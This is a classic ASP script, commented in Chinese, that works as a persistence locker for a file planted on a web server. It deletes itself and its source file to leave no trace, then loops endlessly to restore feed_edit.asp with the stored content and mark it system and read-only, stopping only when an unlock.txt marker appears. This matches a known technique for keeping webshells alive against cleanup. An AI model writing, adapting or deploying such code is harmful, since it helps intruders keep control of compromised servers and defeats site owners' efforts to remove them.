<% On Error Resume Next '容错处理 Server.ScriptTimeOut = 31536000 '定义脚本超时时间 '----- Dim fso Set fso = Server.CreateObject("Scripting.FileSystemObject") '----- fso.DeleteFile Server.MapPath(Request.ServerVariables("SCRIPT_NAME")), True '删除自身 '----- Dim xjs, xmb, xrn, xnr xjs = Server.MapPath("unlock.txt") '用来判断是否终止执行锁定(解锁)的文件标记 xmb = Server.MapPath("feed_edit.asp") '要锁定的文件路径 xrn = Server.MapPath("feed_edit.txt") '要锁定的内容 xnr = fso.OpenTextfile(xrn, 1, False).Readall '从文件中读取要锁定的内容 fso.DeleteFile xrn, True '删除“要锁定的内容”,不留痕迹 '----- '创建一个后台执行的死循环 do '先判断是否需要解除锁定,防止后台死循环造成各种冲突 if fso.FileExists(xjs) then fso.DeleteFile xjs, True '删除解锁文件 exit do '终止程序 else if Fso.FileExists(xmb) = true Then '如果目标文件存在 if LenB(fso.OpenTextfile(xmb, 1, False).Readall) <> LenB(xnr) Or Fso.GetFile(xmb).Attributes <> 5 then '对比文件内容及属性 Fso.GetFile(xmb).Attributes = 0 '还原属性 fso.OpenTextFile(xmb, 2, True).Write xnr '写入内容 Fso.GetFile(xmb).Attributes = 5 '设置属性(系统+只读) end if else if Fso.FolderExists(xmb) = true then '删掉“占位目录” Fso.DeleteFolder xmb end if fso.OpenTextFile(xmb, 2, True).Write xnr '写入内容 Fso.GetFile(xmb).Attributes = 5 '设置属性(系统+只读) end if end if loop %>